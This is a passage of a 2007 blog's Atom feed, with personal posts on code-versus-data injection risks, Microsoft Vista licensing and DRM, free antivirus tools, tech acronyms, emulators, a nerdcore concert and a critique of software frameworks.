blur the distinction between code and data.  As long as this is done in some kind of controlled manner that does not allow for unintended code injection, that's fine.&lt;br /&gt;&lt;br /&gt;Perhaps yet another alternative to handling this problem is to build string encoding right into the language itself, so that every character of every string is always encoded no matter what.  This is similar to brute-force URL encoding where every character is changed to it's %xx equivalent, whether it needs to be or not. This seems like it would be a waste of space and processing time compared to defined-length strings, but at least it is one other way of addressing the problem.&lt;br /&gt;&lt;br /&gt;I just want this problem to be addressed, because Software Engineering is difficult enough without having to always keep track of code-injection, character escaping, buffer overflowing, and all manner of other data vulnerabilities.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5680951-5298393376237326919?l=dogic.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://dogic.blogspot.com/feeds/5298393376237326919/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5680951&amp;postID=5298393376237326919' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5680951/posts/default/5298393376237326919'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5680951/posts/default/5298393376237326919'/><link rel='alternate' type='text/html' href='http://dogic.blogspot.com/2007/07/mixing-oil-with-water-or-code-with-data.html' title='Mixing oil with water (or code with data)'/><author><name>Dogic</name><uri>http://www.blogger.com/profile/14325219327670723983</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5680951.post-5040705516999750645</id><published>2007-07-01T22:11:00.000-05:00</published><updated>2007-07-05T11:57:40.391-05:00</updated><title type='text'>Software is personal:  Part 2</title><content type='html'>Continuing on my theme that software is personal, I'd like to point out this article:&lt;br /&gt;&lt;br /&gt;http://www.douglaskarr.com/2007/06/23/2008-elections-by-server/&lt;br /&gt;&lt;br /&gt;Democrats tend to favor Linux, Republicans tend to favor Windows.  I saw this in 2004 as well.&lt;br /&gt;&lt;br /&gt;http://www.linuxjournal.com/article/7239&lt;br /&gt;&lt;br /&gt;(Of course, the Republican's only had one candidate...Bush...but he did run Windows.)&lt;br /&gt;&lt;br /&gt;Now, I know that the actual candidates probably know little about Web Servers and probably weren't personally responsible for choosing software.&lt;br /&gt;&lt;br /&gt;But the software was chosen by people who willingly work for the candidate, and so it does reflect range of prevalent personality traits in that group.&lt;br /&gt;&lt;br /&gt;Now, if I were a typical polarizing blogger, I could easily jump right into insults and exaggerated characterizations of either side.   (Republicans need dumbed-down Operating Systems.  Democrats hate successful corporations.)&lt;br /&gt;&lt;br /&gt;A kinder interpretation might be that Liberals tend to be more curious and experimental, and Conservatives tend to want to be more practical.  I don't think either side would be too terribly insulted by that characterization. &lt;br /&gt;&lt;br /&gt;I'm being intentionally neutral here because I think the important thing here is to observe the effects of our personalities on which software works best for us.  Windows and Linux are very different Operating Systems, and yet some people are more productive under Windows, and others are more productive under Linux.&lt;br /&gt;&lt;br /&gt;And yet almost every day I'm presented with examples of people who just don't get that. &lt;br /&gt;&lt;br /&gt;I see technology articles that tout "the best" IDE, "the best" coding practices, "the best" testing practices, "the best" methodologies, etc.   It's like saying that a Ferrari is better than a Hyundai.  If your main objective is cost-effectiveness, then the Hyundai is the better choice.&lt;br /&gt;&lt;br /&gt;The way we interpret and model our reality in our own heads varies greatly from person to person...more than I think most people realize.  Given any problem space in Software Engineering, I contend that there is often no single best design.  An object graph that makes perfect sense to one person might be an awkward and confusing design to another. &lt;br /&gt;&lt;br /&gt;In software design, some people naturally think by relationships, others naturally think by structure, and yet others naturally think by flow and action.   When you look at a system, do you look for the nouns or the verbs?  Or both?  Or neither?&lt;br /&gt;&lt;br /&gt;The design that is best for any given person is the design that allows them to be the most productive.&lt;br /&gt;&lt;br /&gt;I'm not saying there aren't bad designs.  There are countless Design Patterns (or rather Anti-Patterns)  that are technically inadvisable no matter HOW much sense it makes to you personally.&lt;br /&gt;&lt;br /&gt;I'm just saying the closest you can get to the single "best" design is to find a design that makes the most sense to the most number of people on the given team; a design that favors those rules which are most desired by the majority of a group.&lt;br /&gt;&lt;br /&gt;So, the next time you see someone claiming that FreeBSD is the best Operating System, consider that maybe they aren't crazy.....maybe they are just Libertarian.  :)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5680951-5040705516999750645?l=dogic.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://dogic.blogspot.com/feeds/5040705516999750645/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5680951&amp;postID=5040705516999750645' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5680951/posts/default/5040705516999750645'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5680951/posts/default/5040705516999750645'/><link rel='alternate' type='text/html' href='http://dogic.blogspot.com/2007/07/software-is-personal-part-2.html' title='Software is personal:  Part 2'/><author><name>Dogic</name><uri>http://www.blogger.com/profile/14325219327670723983</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5680951.post-5317519461311778158</id><published>2007-06-25T08:49:00.000-05:00</published><updated>2007-06-25T16:31:37.364-05:00</updated><title type='text'>Microsoft continues work on "one ring to bind them"</title><content type='html'>In a &lt;a href="http://dogic.blogspot.com/2007/02/turning-point-for-microsoft.html"&gt;previous posting&lt;/a&gt; about my boycott of Microsoft Vista, I elaborated on the dangers of Microsoft's DRM and its inherent requirement to gain ever more control over they ways you use your computer.&lt;br /&gt;&lt;br /&gt;This week we have yet another example of these dangers:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.computerworld.com/action/article.do?command=viewArticleBasic&amp;articleId=9025466&amp;amp;pageNumber=2"&gt;http://www.computerworld.com/action/article.do?command=viewArticleBasic&amp;articleId=9025466&amp;amp;pageNumber=2&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Virtualization is an increasingly popular and useful technology, which allows a user to run multiple operating systems on one computer. However, this breaks the Microsoft mechanism of locking software and digital content to a single physical piece of hardware. And so Microsoft has insisted on making it illegal to run Vista under a Virtual Machine.&lt;br /&gt;&lt;br /&gt;I use the word "illegal" intentionally in this case. According to the U.S. Constitution (and all State Constitutions), only the state and federal governments have the right to create and enforce laws.&lt;br /&gt;&lt;br /&gt;However, a loophole in (or loose interpretation of) contract law has allowed End User License Agreements (EULAs) to be interpreted and enforced with all the legitimacy of a signed contract agreement.&lt;br /&gt;&lt;br /&gt;When you click "I agree" on all these myriad EULAs, it is as legally binding as signing a paper contract based on face-to-face negotiations.&lt;br /&gt;&lt;br /&gt;Microsoft can write any rules into the Windows EULA they want. And when they do so, these rules become effectively a national law (given that Microsoft has a national monopoly).&lt;br /&gt;&lt;br /&gt;Can you imagine Microsoft forcing every citizen of the United States to travel to Redmond in person to negotiate and sign a formal contract in order to use Microsoft software? That would be ridiculous right? And yet that is exactly what Microsoft has accomplished though the use of technology.&lt;br /&gt;&lt;br /&gt;So, in the United States, it is now effectively illegal, and punishable by law, to use Virtualization Software. (Microsoft still does allow Virtualization Software to be used with the versions of Vista that do not have the built-in Media Management software. But, those versions of Vista are twice the price.)&lt;br /&gt;&lt;br /&gt;It's questionable if all these software EULAs can really be strictly enforced by law, given that it is common practice for people to not read them. If enforced too strongly and too often, there would be public outcry, and the laws governing EULAs would change. But so far there hasn't been such outcry, and this is the best-of-all worlds for Microsoft. They can control customers and businesses through the FEAR of being sued, without actually having to sue people very often.&lt;br /&gt;&lt;br /&gt;Companies are still well aware of the incredibly expensive legal fight IBM has had over the past 4 years with SCO over supposed patent right infringements that, in the end, turned out to have no merit. IBM did nothing wrong, and yet had to spend enormous amounts of time and money fighting the lawsuit...largely because SCO had received financial assistance from Microsoft. Microsoft intentionally backed SCO in order to fund these legal actions and undermine corporate support for Linux. And it worked, even though Linux was innocent of all charges!&lt;br /&gt;&lt;br /&gt;Microsoft is a master of market manipulation using FUD (Fear, Uncertainty, and Doubt). This has been especially apparent in Microsoft's recent attempts to &lt;a href="http://www.linuxinsider.com/rsstory/57991.html"&gt;extort protection money&lt;/a&gt; from Linux vendors (and &lt;a href="http://www.computerworld.com/blogs/node/5647"&gt;even hardware vendors&lt;/a&gt;) by threatening them with highly expensive litigation over undisclosed (and likely non-existent) patent right infringements.&lt;br /&gt;&lt;br /&gt;Also remember that Microsoft put up such a fierce legal defense that even the federal government effectively "gave up" prosecuting them after 6 years.&lt;br /&gt;&lt;br /&gt;So there is no doubt that Microsoft frightens customers across the country into obeying strict interpretations of the EULA, whether or not the EULA is practically enforceable on such a large scale.&lt;br /&gt;&lt;br /&gt;And this is all just one example of the dangers we are facing from Microsoft's chosen path. Seeds that were planted in Windows XP are coming into full-bloom in Windows Vista. The number of restrictions Microsoft is placing on you and your computer is only going to grow with time. And people will obey because obeying is easier that fighting Microsoft in court.&lt;br /&gt;&lt;br /&gt;If Windows Vista with all its myriad DRM schemes is not stopped now, it is going to dramatically change the nature of ALL technology for years or decades to come.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5680951-5317519461311778158?l=dogic.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://dogic.blogspot.com/feeds/5317519461311778158/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5680951&amp;postID=5317519461311778158' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5680951/posts/default/5317519461311778158'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5680951/posts/default/5317519461311778158'/><link rel='alternate' type='text/html' href='http://dogic.blogspot.com/2007/06/microsoft-continues-work-on-one-ring-to.html' title='Microsoft continues work on &quot;one ring to bind them&quot;'/><author><name>Dogic</name><uri>http://www.blogger.com/profile/14325219327670723983</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5680951.post-5754964929985378445</id><published>2007-06-04T09:09:00.000-05:00</published><updated>2007-06-04T10:08:53.452-05:00</updated><title type='text'>New Tools - 06/04/2007</title><content type='html'>&lt;div&gt;Newly released from Codeweavers:  CrossOver Office 6.1 for Linux and Mac.  This version promises even more complete (and less buggy) support for Outlook 2003.  In my initial tests, this seems to be true.  CrossOver Office 6.0 had a few glitches with cut-n-pasting of text between Linux apps and Outlook 2003.  See: &lt;a href="http://www.codeweavers.com/"&gt;http://www.codeweavers.com&lt;/a&gt;&lt;/div&gt;&lt;div&gt; &lt;/div&gt;&lt;br /&gt;&lt;div&gt;Free anti-virus software:  If you want free anti-virus software for Windows and Linux, the top two contenders seem to be AVG and Avast.   AVG is made by "Grisoft" and Avast is made by "alwil".  I've always used McAfee in the past, but I've been continually annoyed by McAfee's overbearing presence on my desktop, and it nagging me about buying other McAfee products.  Plus, McAfee isn't free.  The price is about $40 per year and climbing.   $40 a year doesn't seem like a lot, but I maintain a lot of computers, both for myself and others.  And the years seem to go by quickly.  :)&lt;br /&gt;&lt;br /&gt;I've been a long-time critic of Microsoft for including software in the OS that shouldn't be part of the basic OS.  This drives out 3rd party competition.  However, anti-virus software is one place Microsoft really SHOULD pony up the effort to integrate virus protection into the OS...but they don't.  Keeping the OS safe should be the job of the OS maker, and not something you have to continually pay someone else to do.&lt;br /&gt;&lt;br /&gt;Anyway, having used both AVG and Avast, I find myself more impressed with Avast.  But these two tools leapfrog each other for the top spot, so maybe in another year I'll find AVG to be better.&lt;br /&gt;&lt;br /&gt;Both AVG and Avast are commercial products, but they offer free editions for home users.  And home use is my primary concern.  However, AVG has stripped some bells and whistles out of their free version.  The free version even downloads updates over a lower-priority (slower) channel.  Whereas Avast's free version doesn't seem to be missing any features.  (At least no features I've noticed yet.)&lt;br /&gt;&lt;br /&gt;Also note that it is possible to run both anti-virus programs at the same time.  This will cost a few extra CPU cycles, but you get double-coverage. &lt;br /&gt;&lt;br /&gt;I read that both AVG and Avast have advanced and "award winning" virus detection engines, but I don't know how they compare to McAfee's virus detection engine.  McAfee and Nortion have been around longer, so one might think they should have better engines.  (??)&lt;br /&gt;&lt;br /&gt;But if Avast and AVG will just leave me alone and not try to take over every aspect of my computer, then I'm willing to risk my computer on their detection engines, which I'm sure are still very good. &lt;br /&gt;&lt;br /&gt;I'm also very happy to see these products available for Linux.  Linux hasn't been a heavily targeted platform for viruses and trojans...YET...but I'm sure that day is coming as Linux increases in popularity.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5680951-5754964929985378445?l=dogic.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://dogic.blogspot.com/feeds/5754964929985378445/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5680951&amp;postID=5754964929985378445' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5680951/posts/default/5754964929985378445'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5680951/posts/default/5754964929985378445'/><link rel='alternate' type='text/html' href='http://dogic.blogspot.com/2007/06/new-tools-06042007.html' title='New Tools - 06/04/2007'/><author><name>Dogic</name><uri>http://www.blogger.com/profile/14325219327670723983</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5680951.post-6656125737047296587</id><published>2007-05-22T16:09:00.000-05:00</published><updated>2007-05-28T22:19:59.037-05:00</updated><title type='text'>Hackronym</title><content type='html'>Here is my submission for a new technical term: Hackronym&lt;br /&gt;&lt;br /&gt;A hackronym is an acronym that is created before the phrase it abbreviates exists. This is unfortunately common in the technical world, where someone will choose a catchy name, and then try and see if they can describe their new technology using the letters of that name for an acronym.&lt;br /&gt;&lt;br /&gt;Examples:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;&lt;strong&gt;LAMP&lt;/strong&gt;: The "Linux, Apache, MySQL, and PHP" stack. Or the "P" can stand for "Perl" or "Python" or any technology you want so long as it starts with "P". Here's a tip: Never choose technologies based on the first letter of their name. "LAMP" is such a catchy word that everyone wants to use it in their marketing...and that means that choosing a technology based on first letter of its name has become an actual real-world consideration. That is just incredibly lame. &lt;/p&gt;&lt;p&gt;LAMP has become "Let Acronyms Market Products". On a side note: There is humor in the fact that replacing Apache with IIS would give you "LIMP"...but I don't think IIS can run under Linux...so you have to use Windows, which gives you "WIMP". :) &lt;/p&gt;&lt;p&gt;&lt;span style="FONT-WEIGHT: bold"&gt;AJAX&lt;/span&gt; : Describes a set of technologies that existed under several different names for years before someone came up with a catchy name that combines a vague and unknown number of these technologies in ways that go way beyond just "Asynchronous JavaScript And XML".&lt;br /&gt;&lt;br /&gt;Much like Jon Carpenter's "The Thing", AJAX is whatever it needs to be to survive. At JavaOne this year, I saw people including Flash in their stack of "AJAX technologies". I can't wait for someone to refer to the Browser as the "AJAX Viewer". &lt;/p&gt;&lt;p&gt;&lt;span style="FONT-WEIGHT: bold"&gt;PINE :&lt;/span&gt; This is the successor to the e-mail program called "Elm". So, goal #1 was to find a name that was another type of tree. Goal #2 was to make it an acronym. They picked "pine". It stands for "Pine Is Not Elm". Clever, but acronyms cannot be recursive. No soup for you!&lt;br /&gt;&lt;span style="FONT-WEIGHT: bold"&gt;&lt;br /&gt;COBOL &lt;/span&gt;: COmmon Business-Oriented Language. You can't use the first two letters of a word just to make it easier to pronounce. Otherwise that's another form of hackronym. How about "Completely OBsOLete"? It's a language only an Orc could love.&lt;br /&gt;&lt;br /&gt;&lt;span style="FONT-WEIGHT: bold"&gt;SOAP&lt;/span&gt; : Supposedly stands for "Simple Object Access Protocol". SOAP is not Simple, nor is it Object Oriented, nor is it an Access mechanism, nor is it a Protocol. That's 4 strikes. Not only did you strike out, you also tripped over your own bat on the way back to the dugout.&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;XP&lt;/strong&gt; : As in Windows XP. The letters "XP" stand for "eXPerience". I'm not joking. Look it up. Technical people came up with inummerable alternatives, like: eXtreme Price, eXpanding Plague, eXcessive Patches, etc.&lt;br /&gt;&lt;br /&gt;The letters "XP" are also used for a software methodology called "eXtreme Programming". It is a common marketing strategy to utilize the word "extreme" in order to be cool, radical, fearless, wicked, etc. Ruffle your hair...grab your skateboard...slam down an energy drink laced with XTC...break open some glow sticks...and wail on your computer keyboard! Ya right.&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;XML : &lt;/strong&gt;Really, the list of hackronyms that abuse the letter "X" are just endless. The letter X was very popular in the late 90's...like some meta-episode of Seasame Street. Unless you have some new technology that involves a Xylophone, you have no business using the letter X.&lt;/p&gt;&lt;strong&gt;REST:&lt;/strong&gt; Stands for "REpresentational State Transfer".  Okay, that's just REally STupid. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;I don't mean to be too negative on hackronyms in general. Often times they are clever and amusing. It's just that there tends to be an inverse relationship between how cool an acronym is and how cool the product really is. Most of the best software ever developed comes from the Linux and Unix world, where almost nothing has a cool name, or is even pronounceable!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5680951-6656125737047296587?l=dogic.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://dogic.blogspot.com/feeds/6656125737047296587/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5680951&amp;postID=6656125737047296587' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5680951/posts/default/6656125737047296587'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5680951/posts/default/6656125737047296587'/><link rel='alternate' type='text/html' href='http://dogic.blogspot.com/2007/05/hackronym.html' title='Hackronym'/><author><name>Dogic</name><uri>http://www.blogger.com/profile/14325219327670723983</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5680951.post-3702860256627796745</id><published>2007-05-16T09:21:00.000-05:00</published><updated>2007-05-16T09:23:15.232-05:00</updated><title type='text'>Virtual COCO</title><content type='html'>On a related topic to the previous post, here is a virtual TRS-80 Color Computer.  Press the "Setup" button to load software.   This brings back some memories! &lt;br /&gt;&lt;br /&gt;&lt;a href="http://members.cox.net/javacoco/index.shtml"&gt;http://members.cox.net/javacoco/index.shtml&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5680951-3702860256627796745?l=dogic.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://dogic.blogspot.com/feeds/3702860256627796745/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5680951&amp;postID=3702860256627796745' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5680951/posts/default/3702860256627796745'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5680951/posts/default/3702860256627796745'/><link rel='alternate' type='text/html' href='http://dogic.blogspot.com/2007/05/virtual-coco.html' title='Virtual COCO'/><author><name>Dogic</name><uri>http://www.blogger.com/profile/14325219327670723983</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5680951.post-8864450818610879607</id><published>2007-05-15T12:11:00.000-05:00</published><updated>2007-05-15T16:45:08.113-05:00</updated><title type='text'>Virtual Apple</title><content type='html'>This is so cool:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.virtualapple.org/"&gt;http://www.virtualapple.org/&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;I've always wanted to setup something like this, but the copyright laws are so crazy these days that I'd be afraid of getting sued for distributing copyrighted software...even if it's software that hasn't been sold for 30 years.  :(&lt;br /&gt;&lt;br /&gt;I assume these guys have their legal bases covered...or they are hosted outside of the U.S.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5680951-8864450818610879607?l=dogic.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://dogic.blogspot.com/feeds/8864450818610879607/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5680951&amp;postID=8864450818610879607' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5680951/posts/default/8864450818610879607'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5680951/posts/default/8864450818610879607'/><link rel='alternate' type='text/html' href='http://dogic.blogspot.com/2007/05/virtual-apple.html' title='Virtual Apple'/><author><name>Dogic</name><uri>http://www.blogger.com/profile/14325219327670723983</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5680951.post-5949336864673139844</id><published>2007-04-19T10:42:00.000-05:00</published><updated>2007-05-03T08:52:25.996-05:00</updated><title type='text'>Nerdcore Rising</title><content type='html'>Last weekend, I went to see a &lt;a href="http://en.wikipedia.org/wiki/Nerdcore_hip_hop"&gt;Nerdcore&lt;/a&gt; concert featuring &lt;a href="http://www.frontalot.com/"&gt;MC Frontalot&lt;/a&gt;, &lt;a href="http://www.mclars.com/"&gt;MC Lars&lt;/a&gt;, and &lt;a href="http://www.optimusrhyme.com/"&gt;Optimus Rhyme&lt;/a&gt;. It was simply incredible. All three have new albums out that really are just genius, and take the whole genre up a notch.&lt;br /&gt;&lt;br /&gt;I rarely go to concerts. I'm usually too shy and reserved to do something that extroverted and boisterous. But I saw MC Frontalot play at a small club last year, and I got hooked on Nerdcore music. Frontalot is king of Nerdcore (IMO).&lt;br /&gt;&lt;br /&gt;If you want to see a few samples of what Nerdcore is about, check out the following links:&lt;br /&gt;&lt;br /&gt;&lt;span style="FONT-WEIGHT: bold"&gt;MC Frontalot &lt;/span&gt;&lt;br /&gt;&lt;a href="http://www.youtube.com/watch?v=1C2SPpvmOfc"&gt;Trailer for the upcoming "Nerdcore Rising" movie&lt;/a&gt;&lt;br /&gt;&lt;span onmouseup="" class="down" onmousedown="CheckFormatting(event);FormatbarButton('richeditorframe', this, 8);ButtonMouseDown(this);" id="formatbar_CreateLink" onmouseover="ButtonHoverOn(this);" title="Link" style="DISPLAY: block" onmouseout="ButtonHoverOff(this);"&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="FONT-WEIGHT: bold"&gt;Optimus Rhyme&lt;br /&gt;&lt;/span&gt;&lt;a href="http://www.youtube.com/watch?v=ZVC5ncB--po"&gt;Optimus Rhyme Intro&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.youtube.com/watch?v=FTLwiccIOxI"&gt;Obey the Moderator&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="FONT-WEIGHT: bold"&gt;MC Lars&lt;/span&gt;&lt;span style="FONT-WEIGHT: bold"&gt; &lt;/span&gt;&lt;br /&gt;&lt;a href="http://www.youtube.com/watch?v=j8lb8fyxIuo"&gt;Hey it's me!&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.youtube.com/watch?v=ZW76mvaaXEc"&gt;Ahab&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Geek on, Nerdcore!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5680951-5949336864673139844?l=dogic.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://dogic.blogspot.com/feeds/5949336864673139844/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5680951&amp;postID=5949336864673139844' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5680951/posts/default/5949336864673139844'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5680951/posts/default/5949336864673139844'/><link rel='alternate' type='text/html' href='http://dogic.blogspot.com/2007/04/nerdcore-rising.html' title='Nerdcore Rising'/><author><name>Dogic</name><uri>http://www.blogger.com/profile/14325219327670723983</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5680951.post-5341657598411890023</id><published>2007-04-19T09:01:00.000-05:00</published><updated>2007-09-28T13:50:01.039-05:00</updated><title type='text'>Framewurks</title><content type='html'>I don't know if this is an observation or a rant...&lt;br /&gt;&lt;br /&gt;I have been a professional software developer for about 17 years now, and the one general technology category that I have always been disappointed with is application "Frameworks".&lt;br /&gt;&lt;br /&gt;API's are useful. Reusable libraries are productive. Frameworks suck.&lt;br /&gt;&lt;br /&gt;I am not sure I have ever encountered a framework that was a tremendous "win" with regards to increased productivity and ease of use, especially for smaller projects. Some examples of frameworks that I have used are: Microsoft Foundation Classes (MFC), Apache Struts, Tapestry, Velocity, Hibernate, Toplink, Enterprise Java Beans (versions 1 and 2), Spring, ActiveX, DCOM, Aspect/J, PowerBuilder Foundation Classes (PFC), Swing, Java ServerFaces, and so on. &lt;br /&gt;&lt;br /&gt;The basic API's and libraries that come with any development platform serve as a foundation for your application. I love all the myriad Java API's. They are easy to use, easy to learn, and they don't try to dictate design decisions for my application.&lt;br /&gt;&lt;br /&gt;To use an analogy, if an API or library is the "foundation" of a house, then a framework is a pre-fab frame for your house, with some pre-fab wiring and plumbing included. If you happen to want exactly the type of house that the framework designers had in mind, then you might be okay, but only after you spend considerable time figuring out what the framework makers have and haven't already done for you, and how to attach to their frame.&lt;br /&gt;&lt;br /&gt;But the key problem with every framework is that is has to integrate tightly into your applications, even though the framework designers had no clue what kind of application you would actually be developing.&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Frameworks that try to be all things to all people end up being overly abstract and difficult to use.&lt;/li&gt;&lt;li&gt;Frameworks that try to be simple and easy to use end up being highly restrictive and suffocating, and don't cover the corner cases.&lt;br /&gt;&lt;/li&gt;&lt;li&gt;Frameworks that try to serve all sizes of applications become a burden on small applications and a hindrance to large applications.&lt;/li&gt;&lt;li&gt;Frameworks that manage everything for you will take control from you.&lt;/li&gt;&lt;li&gt;Frameworks that are highly configurable are fragile and poorly debuggable.&lt;/li&gt;&lt;li&gt;Frameworks that establish platform standards (like EJBs) evolve slowly and ungracefully.&lt;/li&gt;&lt;li&gt;Frameworks that aren't platform standards (Struts, Spring) will be orphaned.&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;Frameworks introduce high up-front costs (in terms of learning curves) in return for possible (but by no means guaranteed) savings in the long term. This is a classic anti-pattern of computer science: spending time and money on planning for an uncertain future. With adaptive methodologies and test-based refactoring techniques, it is actually possible to put off features until absolutely needed. But frameworks, by their very nature, can almost never be introduced LATE into a project. Due to the intrusive natures of frameworks, you cannot add them to applications without a major re-write, and possibly even a re-design.&lt;br /&gt;&lt;br /&gt;Even considering all these issues that frameworks generate, they still continue to be popular. Once the learning curve for a framework is (somehow) overcome, the frameworks do prove useful for cranking out standardized chunks of basic functionality. Every framework comes with some kind of "pizza shop" or "pet store" sample application that really shows how the framework shines. And that's fine.&lt;br /&gt;&lt;br /&gt;But as a professional software developer, I rarely get those kinds of softball "pizza shop" and "pet store" projects. If someone tasks me to write an application, it's usually because there isn't already an off-the-shelf solution, and I'm necessarily going to have to do something that is customized and unconventional. My experience has been that on almost every project I've done, I run into some aspect of every framework I've used that doesn't allow me to easily step outside of the box when I need to.&lt;br /&gt;&lt;br /&gt;All frameworks claim that you aren't necessarily locked into their design, because developers always have the option of extending, overriding, or modifying the framework to suit their needs. But in doing that, your learning curve has just shot through the roof and out into space. You have to attain a white-box understanding of the framework at the source-code level to affect any reasonable design extensions. This is especially painful considering that most modern frameworks have more lines of code than any application *you* will ever write.&lt;br /&gt;&lt;br /&gt;And yet frameworks thrive, and I continue to use them myself. I think one of the key factors that makes frameworks viable is "developer enthusiasm". Developers are so eager to learn new things and to keep their skills current, that they eat the cost of learning and adapting a new framework. A new framework is almost always introduced to a team by some number of developers learning the framework on their own time, and so the true cost of the framework is hidden up front, and/or buried into the cost of the total project.&lt;br /&gt;&lt;br /&gt;&lt;span style="FONT-WEIGHT: bold"&gt;Conclusion&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The key point I wanted to make is that anytime you use a pre-fab solution of any significant size, you introduce an extra (and often large) learning curve into your development process AND you become greatly limited by (and committed to) certain design decisions that are imposed by the framework.&lt;br 